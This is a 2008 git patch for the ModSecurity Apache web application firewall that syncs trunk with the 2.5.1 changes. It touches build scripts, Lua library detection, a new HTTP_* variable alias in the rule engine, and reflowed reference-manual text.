From 5f09dbb3eed47ed5608a259e3d4b9d547403569e Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 28 Mar 2008 17:06:44 +0000 Subject: [PATCH 001/110] Sync up trunk with changes from 2.5.x. --- CHANGES | 21 + apache2/Makefile.in | 3 +- apache2/apache2_config.c | 14 +- apache2/build/find_lua.m4 | 16 + apache2/configure.in | 34 +- apache2/modsecurity.c | 12 +- apache2/modsecurity.h | 11 +- apache2/re.c | 20 +- doc/modsecurity2-apache-reference.xml | 753 ++++++++++++-------------- 9 files changed, 458 insertions(+), 426 deletions(-) diff --git a/CHANGES b/CHANGES index 12f1f9d7..30ebd1f8 100644 --- a/CHANGES +++ b/CHANGES @@ -1,3 +1,24 @@ +19 Mar 2008 - 2.5.1-breach1 +--------------------------- + + * Allow HTTP_* targets as an alias for REQUEST_HEADERS:*. + + +14 Mar 2008 - 2.5.1 +------------------- + + * Fixed an issue where a match would not occur if transformation caching + was enabled. + + * Using "severity" in a default action is now just a warning. + + * Cleaned up the "make test" target to better locate headers/libraries. + + * Now search /usr/lib64 and /usr/lib32 for lua libs. + + * No longer treat warnings as errors by default (use --enable-strict-compile). + + 19 Feb 2008 - 2.5.0 ------------------- diff --git a/apache2/Makefile.in b/apache2/Makefile.in index 67274191..4acb2531 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -26,6 +26,7 @@ MODSEC_APXS_EXTRA_CFLAGS = @MODSEC_APXS_EXTRA_CFLAGS@ APXS = @APXS@ APXS_WRAPPER = @APXS_WRAPPER@ +APXS_INCLUDEDIR = @APXS_INCLUDEDIR@ APXS_INCLUDES = @APXS_INCLUDES@ APXS_CFLAGS = @APXS_CFLAGS@ APXS_LDFLAGS = @APXS_LDFLAGS@ @@ -112,7 +113,7 @@ mlogc-static: ### Experimental Test Framework (*NIX only right now) msc_test.lo: msc_test.c - $(LIBTOOL) --mode=compile $(CC) $(APXS_CFLAGS) $(EXTRA_CFLAGS) $(MODSEC_EXTRA_CFLAGS) $(CPPFLAGS) $(APR_CFLAGS) $(APU_CFLAGS) -o msc_test.lo -c msc_test.c + $(LIBTOOL) --mode=compile $(CC) $(APXS_INCLUDES) $(APXS_CFLAGS) $(EXTRA_CFLAGS) $(MODSEC_EXTRA_CFLAGS) $(CPPFLAGS) $(APR_CFLAGS) $(APU_CFLAGS) -o msc_test.lo -c msc_test.c msc_test: $(TESTOBJS) msc_test.lo @objs=""; \ diff --git a/apache2/apache2_config.c b/apache2/apache2_config.c index d7bb4857..6de2223a 100644 --- a/apache2/apache2_config.c +++ b/apache2/apache2_config.c @@ -1120,13 +1120,21 @@ static const char *cmd_default_action(cmd_parms *cmd, void *_dcfg, const char *p /* ENH: loop through to check for tags */ if ((dcfg->tmp_default_actionset->id != NOT_SET_P) ||(dcfg->tmp_default_actionset->rev != NOT_SET_P) - ||(dcfg->tmp_default_actionset->msg != NOT_SET_P) - ||(dcfg->tmp_default_actionset->severity != NOT_SET) - ||(dcfg->tmp_default_actionset->logdata != NOT_SET_P)) + ||(dcfg->tmp_default_actionset->msg != NOT_SET_P)) { return apr_psprintf(cmd->pool, "ModSecurity: SecDefaultAction must not " "contain any metadata actions (id, rev, msg, tag, severity, logdata)."); } + /* These are just a warning for now. */ + if ((dcfg->tmp_default_actionset->severity != NOT_SET) + ||(dcfg->tmp_default_actionset->logdata != NOT_SET_P)) + { + ap_log_perror(APLOG_MARK, + APLOG_STARTUP|APLOG_WARNING|APLOG_NOERRNO, 0, cmd->pool, + "ModSecurity: WARNING Using \"severity\" or \"logdata\" in " + "SecDefaultAction is deprecated (%s:%d).", + cmd->directive->filename, cmd->directive->line_num); + } /* Must not use chain. */ if (dcfg->tmp_default_actionset->is_chained != NOT_SET) { diff --git a/apache2/build/find_lua.m4 b/apache2/build/find_lua.m4 index 5a1842d6..759d8514 100644 --- a/apache2/build/find_lua.m4 +++ b/apache2/build/find_lua.m4 @@ -66,6 +66,14 @@ if test "${lua_path}" != "no"; then with_lua_lib="${x}/lib" lua_lib_name="lua5.1" break + elif test -e "${x}/lib64/liblua5.1.a"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib32/liblua5.1.a"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua5.1" + break elif test -e "${x}/liblua.a"; then with_lua_lib="${x}" lua_lib_name="lua" @@ -74,6 +82,14 @@ if test "${lua_path}" != "no"; then with_lua_lib="${x}/lib" lua_lib_name="lua" break + elif test -e "${x}/lib64/liblua.a"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua" + break + elif test -e "${x}/lib32/liblua.a"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua" + break else with_lua_lib="" lua_lib_name="" diff --git a/apache2/configure.in b/apache2/configure.in index bcdf5179..4490d733 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -89,10 +89,22 @@ VERSION_OK [AC_MSG_NOTICE(httpd is recent enough)], [AC_MSG_ERROR(apache is too old, mmn must be at least $HTTPD_WANTED_MMN)]) fi - APXS_INCLUDES="`$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + APXS_INCLUDEDIR="`$APXS -q INCLUDEDIR`" + # Make sure the include dir is used + if test -n "$APXS_INCLUDEDIR"; then + APXS_INCLUDES="-I${APXS_INCLUDEDIR} `$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + else + APXS_INCLUDES="`$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + fi APXS_CFLAGS="`$APXS -q CFLAGS` `$APXS -q EXTRA_CFLAGS`" APXS_LDFLAGS="`$APXS -q LDFLAGS` `$APXS -q EXTRA_LDFLAGS`" - APXS_LIBS="`$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + APXS_LIBDIR="`$APXS -q LIBDIR`" + # Make sure the lib dir is used + if test -n "$APXS_LIBDIR"; then + APXS_LIBS="-L{$APXS_LIBDIR} `$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + else + APXS_LIBS="`$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + fi APXS_LIBTOOL="`$APXS -q LIBTOOL`" APXS_CC="`$APXS -q CC`" else @@ -126,6 +138,21 @@ sinclude(build/find_curl.m4) ### Configure Options +# Strict Compile +AC_ARG_ENABLE(strict-compile, + AS_HELP_STRING([--enable-strict-compile], + [Enable strict compilation (warnings are errors).]), +[ + if test "$enableval" != "no"; then + strict_compile="-Werror" + else + strict_compile= + fi +], +[ + strict_compile= +]) + # DEBUG_CONF AC_ARG_ENABLE(debug-conf, AS_HELP_STRING([--enable-debug-conf], @@ -203,7 +230,7 @@ AC_ARG_ENABLE(modsec-api, ### Build *EXTRA_CFLAGS vars -EXTRA_CFLAGS="-O2 -g -Wall -Werror" +EXTRA_CFLAGS="-O2 -g -Wall $strict_compile" MODSEC_EXTRA_CFLAGS="$debug_conf $debug_cache $debug_acmp $perf_meas $modsec_api" APXS_WRAPPER=build/apxs-wrapper @@ -227,6 +254,7 @@ AC_SUBST(EXTRA_CFLAGS) AC_SUBST(MODSEC_EXTRA_CFLAGS) AC_SUBST(APXS) AC_SUBST(APXS_WRAPPER) +AC_SUBST(APXS_INCLUDEDIR) AC_SUBST(APXS_INCLUDES) AC_SUBST(APXS_EXTRA_CFLAGS) AC_SUBST(MODSEC_APXS_EXTRA_CFLAGS) diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index c024d21f..f1092eb1 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -17,12 +17,12 @@ #include "msc_util.h" modsec_build_type_rec DSOLOCAL modsec_build_type[] = { - { "dev", 1 }, /* Development build */ - { "rc", 3 }, /* Release Candidate build */ - { "", 9 }, /* Production build */ - { "breach", 9 }, /* Breach build */ - { "trunk", 9 }, /* Trunk build */ - { NULL, -1 } /* terminator */ + { "-dev", 1 }, /* Development build */ + { "-rc", 3 }, /* Release Candidate build */ + { "", 9 }, /* Production build */ + { "-breach", 9 }, /* Breach build */ + { "-trunk", 9 }, /* Trunk build */ + { NULL, -1 } /* terminator */ }; /** diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index 38fcc53c..0c25c933 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -62,14 +62,17 @@ extern DSOLOCAL modsec_build_type_rec modsec_build_type[]; #define MODSEC_VERSION_MAJOR "2" #define MODSEC_VERSION_MINOR "5" -#define MODSEC_VERSION_MAINT "0" -#define MODSEC_VERSION_TYPE "" -#define MODSEC_VERSION_RELEASE "" +#define MODSEC_VERSION_MAINT "1" +#define MODSEC_VERSION_TYPE "-breach" +#define MODSEC_VERSION_RELEASE "1" #define MODULE_NAME "ModSecurity for Apache" + +#define MODSEC_VERSION_SUFFIX MODSEC_VERSION_TYPE MODSEC_VERSION_RELEASE #define MODULE_RELEASE \ MODSEC_VERSION_MAJOR "." MODSEC_VERSION_MINOR "." MODSEC_VERSION_MAINT \ - "-" MODSEC_VERSION_TYPE MODSEC_VERSION_RELEASE + MODSEC_VERSION_SUFFIX + #define MODULE_NAME_FULL MODULE_NAME "/" MODULE_RELEASE " (http://www.modsecurity.org/)" #define PHASE_REQUEST_HEADERS 1 diff --git a/apache2/re.c b/apache2/re.c index e6af7111..a5470253 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -231,6 +231,7 @@ msre_action_metadata *msre_resolve_action(msre_engine *engine, const char *name) msre_var *msre_create_var_ex(apr_pool_t *pool, msre_engine *engine, const char *name, const char *param, modsec_rec *msr, char **error_msg) { + const char *varparam = param; msre_var *var = apr_pcalloc(pool, sizeof(msre_var)); if (var == NULL) return NULL; @@ -251,6 +252,17 @@ msre_var *msre_create_var_ex(apr_pool_t *pool, msre_engine *engine, const char * var->name = name; } + /* Treat HTTP_* targets as an alias for REQUEST_HEADERS:* */ + if ( (var->name != NULL) + && (strlen(var->name) > 5) + && (strncmp("HTTP_", var->name, 5) == 0)) + { + const char *oldname = var->name; + var->name = apr_pstrdup(pool, "REQUEST_HEADERS"); + varparam = apr_pstrdup(pool, oldname + 5); + } + + /* Resolve variable */ var->metadata = msre_resolve_var(engine, var->name); if (var->metadata == NULL) { @@ -268,7 +280,7 @@ msre_var *msre_create_var_ex(apr_pool_t *pool, msre_engine *engine, const char * } /* Check the parameter. */ - if (param == NULL) { + if (varparam == NULL) { if (var->metadata->argc_min > 0) { *error_msg = apr_psprintf(engine->mp, "Missing mandatory parameter for variable %s.", name); @@ -283,7 +295,7 @@ msre_var *msre_create_var_ex(apr_pool_t *pool, msre_engine *engine, const char * return NULL; } - var->param = param; + var->param = varparam; } return var; @@ -735,6 +747,8 @@ void msre_engine_destroy(msre_engine *engine) { * transaction phase. */ #if defined(PERFORMANCE_MEASUREMENT) +static apr_status_t msre_ruleset_process_phase_(msre_ruleset *ruleset, modsec_rec *msr); + apr_status_t msre_ruleset_process_phase(msre_ruleset *ruleset, modsec_rec *msr) { apr_array_header_t *arr = NULL; msre_rule **rules = NULL; @@ -1986,6 +2000,8 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { return -1; } if (rc == RULE_MATCH) { + match_count++; + /* Return straight away if the transaction * was intercepted - no need to process the remaining * targets. diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index a59dbe01..8c4a8742 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -1,10 +1,10 @@
- <trademark class="trade">ModSecurity</trademark> Reference + <title><trademark class="registered">ModSecurity</trademark> Reference Manual - Version 2.5.0 (February 19, 2008) + Version 2.5.1-breach1 (March 19, 2008) 2004-2008 @@ -17,12 +17,11 @@
Introduction - ModSecurity is a web - application firewall (WAF). With over 70% of attacks now carried out over - the web application level, organisations need all the help they can get in - making their systems secure. WAFs are deployed to establish an increased - external security layer to detect and/or prevent attacks before they reach - web applications. ModSecurity + ModSecurity is a web application firewall (WAF). With over 70% of + attacks now carried out over the web application level, organisations need + all the help they can get in making their systems secure. WAFs are + deployed to establish an increased external security layer to detect + and/or prevent attacks before they reach web applications. ModSecurity provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with little or no changes to existing infrastructure. @@ -34,34 +33,32 @@ useful for marketing analyses, but fall short logging traffic to web applications. In particular, most are not capable of logging the request bodies. Your adversaries know this, and that is why most attacks are now - carried out via POST requests, rendering your systems blind. ModSecurity makes full HTTP transaction - logging possible, allowing complete requests and responses to be logged. - Its logging facilities also allow fine-grained decisions to be made - about exactly what is logged and when, ensuring only the relevant data - is recorded. As some of the request and/or response may contain - sensitive data in certain fields, ModSecurity can be configured to mask these - fields before they are written to the audit log. + carried out via POST requests, rendering your systems blind. ModSecurity + makes full HTTP transaction logging possible, allowing complete requests + and responses to be logged. Its logging facilities also allow + fine-grained decisions to be made about exactly what is logged and when, + ensuring only the relevant data is recorded. As some of the request + and/or response may contain sensitive data in certain fields, + ModSecurity can be configured to mask these fields before they are + written to the audit log.
Real-Time Monitoring and Attack Detection - In addition to providing logging facilities, ModSecurity can monitor the HTTP traffic in - real time in order to detect attacks. In this case, ModSecurity operates as a web intrusion - detection tool, allowing you to react to suspicious events that take - place at your web systems. + In addition to providing logging facilities, ModSecurity can + monitor the HTTP traffic in real time in order to detect attacks. In + this case, ModSecurity operates as a web intrusion detection tool, + allowing you to react to suspicious events that take place at your web + systems.
Attack Prevention and Just-in-time Patching - ModSecurity can also act - immediately to prevent attacks from reaching your web applications. - There are three commonly used approaches: + ModSecurity can also act immediately to prevent attacks from + reaching your web applications. There are three commonly used + approaches: @@ -83,15 +80,14 @@ Known weaknesses and vulnerabilities. Its rule language makes - ModSecurity an ideal external - patching tool. External patching (sometimes referred to as Virtual - Patching) is about reducing the window of opportunity. Time needed - to patch application vulnerabilities often runs to weeks in many - organisations. With ModSecurity, applications can be patched - from the outside, without touching the application source code (and - even without any access to it), making your systems secure until a - proper patch is applied to the application. + ModSecurity an ideal external patching tool. External patching + (sometimes referred to as Virtual Patching) is about reducing the + window of opportunity. Time needed to patch application + vulnerabilities often runs to weeks in many organisations. With + ModSecurity, applications can be patched from the outside, without + touching the application source code (and even without any access to + it), making your systems secure until a proper patch is applied to + the application.
@@ -99,36 +95,33 @@
Flexible Rule Engine - A flexible rule engine sits in the heart of ModSecurity. It implements the ModSecurity Rule Language, which is a - specialised programming language designed to work with HTTP transaction - data. The ModSecurity Rule Language - is designed to be easy to use, yet flexible: common operations are - simple while complex operations are possible. Certified ModSecurity Rules, included with ModSecurity, contain a comprehensive set of - rules that implement general-purpose hardening, protocol validation and - detection of common web application security issues. Heavily commented, - these rules can be used as a learning tool. + A flexible rule engine sits in the heart of ModSecurity. It + implements the ModSecurity Rule Language, which is a specialised + programming language designed to work with HTTP transaction data. The + ModSecurity Rule Language is designed to be easy to use, yet flexible: + common operations are simple while complex operations are possible. + Certified ModSecurity Rules, included with ModSecurity, contain a + comprehensive set of rules that implement general-purpose hardening, + protocol validation and detection of common web application security + issues. Heavily commented, these rules can be used as a learning + tool.
Embedded-mode Deployment - ModSecurity is an embeddable - web application firewall, which means it can be deployed as part of your - existing web server infrastructure provided your web servers are - Apache-based. This deployment method has certain advantages: + ModSecurity is an embeddable web application firewall, which means + it can be deployed as part of your existing web server infrastructure + provided your web servers are Apache-based. This deployment method has + certain advantages: No changes to existing network. It only takes a few minutes to - add ModSecurity to your - existing web servers. And because it was designed to be completely - passive by default, you are free to deploy it incrementally and only - use the features you need. It is equally easy to remove or - deactivate it if required. + add ModSecurity to your existing web servers. And because it was + designed to be completely passive by default, you are free to deploy + it incrementally and only use the features you need. It is equally + easy to remove or deactivate it if required. @@ -139,10 +132,10 @@ Implicit load balancing and scaling. Because it works embedded - in web servers, ModSecurity - will automatically take advantage of the additional load balancing - and scalability features. You will not need to think of load - balancing and scaling unless your existing system needs them. + in web servers, ModSecurity will automatically take advantage of the + additional load balancing and scalability features. You will not + need to think of load balancing and scaling unless your existing + system needs them. @@ -154,9 +147,8 @@ No problem with encrypted or compressed content. Many IDS systems have difficulties analysing SSL traffic. This is not a - problem for ModSecurity because - it is positioned to work when the traffic is decrypted and - decompressed. + problem for ModSecurity because it is positioned to work when the + traffic is decrypted and decompressed.
@@ -164,32 +156,30 @@
Network-based Deployment - ModSecurity works equally - well when deployed as part of an Apache-based reverse proxy server, and - many of our customers choose to do so. In this scenario, one - installation of ModSecurity can - protect any number of web servers (even the non-Apache ones). + ModSecurity works equally well when deployed as part of an + Apache-based reverse proxy server, and many of our customers choose to + do so. In this scenario, one installation of ModSecurity can protect any + number of web servers (even the non-Apache ones).
Portability - ModSecurity is known to work - well on a wide range of operating systems. Our customers are - successfully running it on Linux, Windows, Solaris, FreeBSD, OpenBSD, - NetBSD, AIX, Mac OS X, and HP-UX. + ModSecurity is known to work well on a wide range of operating + systems. Our customers are successfully running it on Linux, Windows, + Solaris, FreeBSD, OpenBSD, NetBSD, AIX, Mac OS X, and HP-UX.
Licensing - ModSecurity is available - under two licenses. Users can choose to use the software under the terms - of the GNU General Public License version 2 (licence text is included - with the distribution), as an Open Source / Free Software product. A - range of commercial licenses is also available, together with a range of - commercial support contracts. For more information on commercial - licensing please contact Breach Security. + ModSecurity is available under two licenses. Users can choose to + use the software under the terms of the GNU General Public License + version 2 (licence text is included with the distribution), as an Open + Source / Free Software product. A range of commercial licenses is also + available, together with a range of commercial support contracts. For + more information on commercial licensing please contact Breach + Security. ModSecurity, mod_security, and ModSecurity Pro are trademarks or @@ -199,27 +189,24 @@
- <trademark class="trade">ModSecurity</trademark> Core Rules + <trademark class="registered">ModSecurity</trademark> Core + Rules
Overview - ModSecurity is a web - application firewall engine that provides very little protection on its - own. In order to become useful, ModSecurity must be configured with rules. In - order to enable users to take full advantage of ModSecurity out of the box, Breach Security, - Inc. is providing a free certified rule set for ModSecurity 2.x. Unlike intrusion detection - and prevention systems, which rely on signatures specific to known - vulnerabilities, the Core Rules provide generic protection from unknown - vulnerabilities often found in web applications, which are in most cases - custom coded. The Core Rules are heavily commented to allow it to be - used as a step-by-step deployment guide for ModSecurity. The latest Core Rules can be - found at the ModSecurity website - - ModSecurity is a web application firewall engine that provides + very little protection on its own. In order to become useful, + ModSecurity must be configured with rules. In order to enable users to + take full advantage of ModSecurity out of the box, Breach Security, Inc. + is providing a free certified rule set for ModSecurity 2.x. Unlike + intrusion detection and prevention systems, which rely on signatures + specific to known vulnerabilities, the Core Rules provide generic + protection from unknown vulnerabilities often found in web applications, + which are in most cases custom coded. The Core Rules are heavily + commented to allow it to be used as a step-by-step deployment guide for + ModSecurity. The latest Core Rules can be found at the ModSecurity + website - http://www.modsecurity.org/projects/rules/.
@@ -260,13 +247,11 @@
Installation - ModSecurity installation - consists of the following steps: + ModSecurity installation consists of the following steps: - ModSecurity 2.x works with - Apache 2.0.x or better. + ModSecurity 2.x works with Apache 2.0.x or better. @@ -297,8 +282,7 @@ - Unpack the ModSecurity - archive + Unpack the ModSecurity archive @@ -333,11 +317,15 @@ Optionally test with: make test + + NOTE: This is step is still a bit experimental. If you + have problems, please send the full output and error from the + build to the support list. Most common issues are related to + not finding the required headers and/or libraries. - Optionally build the ModSecurity Log Collector with: + Optionally build the ModSecurity Log Collector with: make mlogc @@ -348,9 +336,8 @@ - Install the ModSecurity module with: - make install + Install the ModSecurity module with: make + install @@ -370,9 +357,8 @@ - Install the ModSecurity module with: - nmake -f Makefile.win install + Install the ModSecurity module with: nmake -f + Makefile.win install @@ -392,19 +378,17 @@ httpd.conf) On UNIX (and Windows if you did not copy the DLLs as stated - above) you must load libxml2 and lua5.1 before ModSecurity with something like this: + above) you must load libxml2 and lua5.1 before ModSecurity with + something like this: LoadFile /usr/lib/libxml2.so LoadFile /usr/lib/liblua5.1.so - Load the ModSecurity module - with:LoadModule security2_module modules/mod_security2.so + Load the ModSecurity module with:LoadModule security2_module modules/mod_security2.so - Configure ModSecurity + Configure ModSecurity @@ -412,38 +396,35 @@ LoadFile /usr/lib/liblua5.1.so - You should now have ModSecurity 2.x up and running. + You should now have ModSecurity 2.x up and running. If you have compiled Apache yourself you might experience problems - compiling ModSecurity against PCRE. - This is because Apache bundles PCRE but this library is also typically - provided by the operating system. I would expect most (all) - vendor-packaged Apache distributions to be configured to use an external - PCRE library (so this should not be a problem). + compiling ModSecurity against PCRE. This is because Apache bundles PCRE + but this library is also typically provided by the operating system. I + would expect most (all) vendor-packaged Apache distributions to be + configured to use an external PCRE library (so this should not be a + problem). You want to avoid Apache using the bundled PCRE library and - ModSecurity linking against the one - provided by the operating system. The easiest way to do this is to - compile Apache against the PCRE library provided by the operating system - (or you can compile it against the latest PCRE version you downloaded - from the main PCRE distribution site). You can do this at configure time - using the --with-pcre switch. If you - are not in a position to recompile Apache, then, to compile ModSecurity successfully, you'd still need to - have access to the bundled PCRE headers (they are available only in the - Apache source code) and change the include path for ModSecurity (as you did in step 7 above) to - point to them (via the --with-pcre ModSecurity configure option). + ModSecurity linking against the one provided by the operating system. + The easiest way to do this is to compile Apache against the PCRE library + provided by the operating system (or you can compile it against the + latest PCRE version you downloaded from the main PCRE distribution + site). You can do this at configure time using the --with-pcre switch. If you are not in a + position to recompile Apache, then, to compile ModSecurity successfully, + you'd still need to have access to the bundled PCRE headers (they are + available only in the Apache source code) and change the include path + for ModSecurity (as you did in step 7 above) to point to them (via the + --with-pcre ModSecurity configure option). Do note that if your Apache is using an external PCRE library you - can compile ModSecurity with - WITH_PCRE_STUDY defined,which would - possibly give you a slight performance edge in regular expression + can compile ModSecurity with WITH_PCRE_STUDY defined,which would possibly + give you a slight performance edge in regular expression processing.
@@ -451,10 +432,9 @@ LoadFile /usr/lib/liblua5.1.so
Configuration Directives - The following section outlines all of the ModSecurity directives. Most of the ModSecurity directives can be used inside the - various Apache Scope Directives such as VirtualHost, + The following section outlines all of the ModSecurity directives. + Most of the ModSecurity directives can be used inside the various Apache + Scope Directives such as VirtualHost, Location, LocationMatch, Directory, etc... There are others, however, that can only be used once in the main configuration file. This information is @@ -468,20 +448,18 @@ LoadFile /usr/lib/liblua5.1.so rules, you should create a file called - modsecurity_crs_15_customrules.conf and place it in the same directory as the Core rules files. By using this file name, your - custom rules will be called up after the standard ModSecurity Core rules configuration file but - before the other Core rules. This allows your rules to be evaluated first - which can be useful if you need to implement specific "allow" rules or to - correct any false positives in the Core rules as they are applied to your - site. + custom rules will be called up after the standard ModSecurity Core rules + configuration file but before the other Core rules. This allows your rules + to be evaluated first which can be useful if you need to implement + specific "allow" rules or to correct any false positives in the Core rules + as they are applied to your site. It is highly encouraged that you do not edit the Core rules files themselves but rather place all changes (such as SecRuleRemoveByID, etc...) in your custom rules file. This will allow for easier upgrading as newer Core rules are released by - Breach Security on the ModSecurity - website. + Breach Security on the ModSecurity website.
@@ -540,8 +518,7 @@ LoadFile /usr/lib/liblua5.1.so This directive is needed if a backend web application is using a non-standard argument separator. If this directive is not set properly - for each web application, then ModSecurity will not be able to parse the + for each web application, then ModSecurity will not be able to parse the arguments appropriately and the effectiveness of the rule matching will be significantly decreased.
@@ -628,9 +605,8 @@ SecAuditLogStorageDir logs/audit this file will be used as an index, and contain a record of all audit log files created. If you are planning to use Concurrent audit logging and sending your audit log data off to a remote Console host or - commercial ModSecurity Management - Appliance, then you will need to configure and use the ModSecurity Log Collector (mlogc) and use the + commercial ModSecurity Management Appliance, then you will need to + configure and use the ModSecurity Log Collector (mlogc) and use the following format for the audit log: SecAuditLog "|/path/to/mlogc /path/to/mlogc.conf" @@ -682,10 +658,10 @@ SecAuditLogStorageDir logs/audit Version: 2.0.0 - Dependencies/Notes: At this time ModSecurity does not log response bodies of - stock Apache responses (e.g. 404), or - the Server and Dependencies/Notes: At this time ModSecurity + does not log response bodies of stock Apache responses (e.g. 404), or the Server and Date response headers. Default: ABCFHZ. @@ -704,9 +680,8 @@ SecAuditLogStorageDir logs/audit C - request body (present - only if the request body exists and ModSecurity is configured to intercept - it) + only if the request body exists and ModSecurity is configured to + intercept it) @@ -716,14 +691,13 @@ SecAuditLogStorageDir logs/audit E - intermediary response - body (present only if ModSecurity is configured to intercept + body (present only if ModSecurity is configured to intercept response bodies, and if the audit log engine is configured to record it). Intermediary response body is the same as the actual response - body unless ModSecurity - intercepts the intermediary response body, in which case the actual - response body will contain the error message (either the Apache - default error message, or the ErrorDocument page). + body unless ModSecurity intercepts the intermediary response body, + in which case the actual response body will contain the error + message (either the Apache default error message, or the + ErrorDocument page). @@ -873,8 +847,7 @@ SecAuditLogStorageDir logs/audit Concurrent - audit log entries will be stored in separate files, one for each transaction. Concurrent logging is the mode to use if you are going to send the - audit log data off to a remote ModSecurity Console host. + audit log data off to a remote ModSecurity Console host.
@@ -953,8 +926,7 @@ SecAuditLogStorageDir logs/audit Version: 2.0.0 Dependencies/Notes: The internal chroot - functionality provided by ModSecurity works great for simple setups. One + functionality provided by ModSecurity works great for simple setups. One example of a simple setup is Apache serving static files only, or running scripts using modules. Some problems you might encounter with more complex setups: @@ -994,7 +966,7 @@ SecAuditLogStorageDir logs/audit <literal>SecComponentSignature</literal> Description: Appends component signature to - the ModSecurity signature. + the ModSecurity signature. Syntax: SecComponentSignature "COMPONENT_NAME/X.Y.Z (COMMENT)" @@ -1009,11 +981,10 @@ SecAuditLogStorageDir logs/audit Version: 2.5.0 Dependencies/Notes: This directive should be - used to make the presence of significant ModSecurity components known. The entire - signature will be recorded in transaction audit log. It should be used - by ModSecurity module and rule set - writers to make debugging easier. + used to make the presence of significant ModSecurity components known. + The entire signature will be recorded in transaction audit log. It + should be used by ModSecurity module and rule set writers to make + debugging easier.
@@ -1097,8 +1068,8 @@ SecAuditLogStorageDir logs/audit
<literal>SecDebugLog</literal> - Description: Path to the ModSecurity debug log file. + Description: Path to the ModSecurity debug + log file. Syntax: SecDebugLog /path/to/modsec-debug.log @@ -1264,27 +1235,25 @@ SecAuditLogStorageDir logs/audit will defend against clients that send more than 120 requests in a minute, or more than 360 requests in five minutes. - Since 1.9, ModSecurity - supports a new directive, SecGuardianLog, that is designed to send all - access data to another program using the piped logging feature. Since - Apache is typically deployed in a multi-process fashion, making - information sharing difficult, the idea is to deploy a single external - process to observe all requests in a stateful manner, providing - additional protection. + Since 1.9, ModSecurity supports a new directive, SecGuardianLog, + that is designed to send all access data to another program using the + piped logging feature. Since Apache is typically deployed in a + multi-process fashion, making information sharing difficult, the idea is + to deploy a single external process to observe all requests in a + stateful manner, providing additional protection. Development of a state of the art external protection tool will be - a focus of subsequent ModSecurity - releases. However, a fully functional tool is already available as part - of the Apache - httpd tools project. The tool is called httpd-guardian and can - be used to defend against Denial of Service attacks. It uses the - blacklist tool (from the same project) to interact with an - iptables-based (Linux) or pf-based (*BSD) firewall, dynamically - blacklisting the offending IP addresses. It can also interact with - SnortSam (http://www.snortsam.net). Assuming httpd-guardian is already - configured (look into the source code for the detailed instructions) you - only need to add one line to your Apache configuration to deploy - it: + a focus of subsequent ModSecurity releases. However, a fully functional + tool is already available as part of the Apache httpd tools + project. The tool is called httpd-guardian and can be used to + defend against Denial of Service attacks. It uses the blacklist tool + (from the same project) to interact with an iptables-based (Linux) or + pf-based (*BSD) firewall, dynamically blacklisting the offending IP + addresses. It can also interact with SnortSam (http://www.snortsam.net). + Assuming httpd-guardian is already configured (look into the source code + for the detailed instructions) you only need to add one line to your + Apache configuration to deploy it: SecGuardianLog |/path/to/httpd-guardian
@@ -1437,11 +1406,10 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ Description: Defines the name of the token. The only reason you would want to change the name of the token is if you - wanted to hide the fact you are running ModSecurity. It's a good reason but it won't - really help as the adversary can look into the algorithm used for PDF - protection and figure it out anyway. It does raise the bar slightly so - go ahead if you want to. + wanted to hide the fact you are running ModSecurity. It's a good reason + but it won't really help as the adversary can look into the algorithm + used for PDF protection and figure it out anyway. It does raise the bar + slightly so go ahead if you want to. Syntax: SecPdfProtectTokenName name @@ -1464,8 +1432,7 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ <literal>SecRequestBodyAccess</literal> Description: Configures whether request - bodies will be buffered and processed by ModSecurity by default. + bodies will be buffered and processed by ModSecurity by default. Syntax: SecRequestBodyAccess On|Off @@ -1504,8 +1471,7 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ <literal>SecRequestBodyLimit</literal> Description: Configures the maximum request - body size ModSecurity will accept - for buffering. + body size ModSecurity will accept for buffering. Syntax: SecRequestBodyLimit NUMBER_IN_BYTES @@ -1527,16 +1493,16 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ <literal>SecRequestBodyNoFilesLimit</literal> Description: Configures the maximum request - body size ModSecurity will accept - for buffering, excluding the size of files being transported in the - request. This directive comes handy to further reduce susceptibility to - DoS attacks when someone is sending request bodies of very large sizes. - Web applications that require file uploads must configure - SecRequestBodyLimit to a high value. Since large - files are streamed to disk file uploads will not increase memory - consumption. However, it's still possible for someone to take advantage - of a large request body limit and send non-upload requests with large - body sizes. This directive eliminates that loophole. + body size ModSecurity will accept for buffering, excluding the size of + files being transported in the request. This directive comes handy to + further reduce susceptibility to DoS attacks when someone is sending + request bodies of very large sizes. Web applications that require file + uploads must configure SecRequestBodyLimit to a high + value. Since large files are streamed to disk file uploads will not + increase memory consumption. However, it's still possible for someone to + take advantage of a large request body limit and send non-upload + requests with large body sizes. This directive eliminates that + loophole. Syntax: SecRequestBodyNoFilesLimit @@ -1561,8 +1527,7 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ <literal>SecRequestBodyInMemoryLimit</literal> Description: Configures the maximum request - body size ModSecurity will store in - memory. + body size ModSecurity will store in memory. Syntax: SecRequestBodyInMemoryLimit @@ -1620,21 +1585,21 @@ 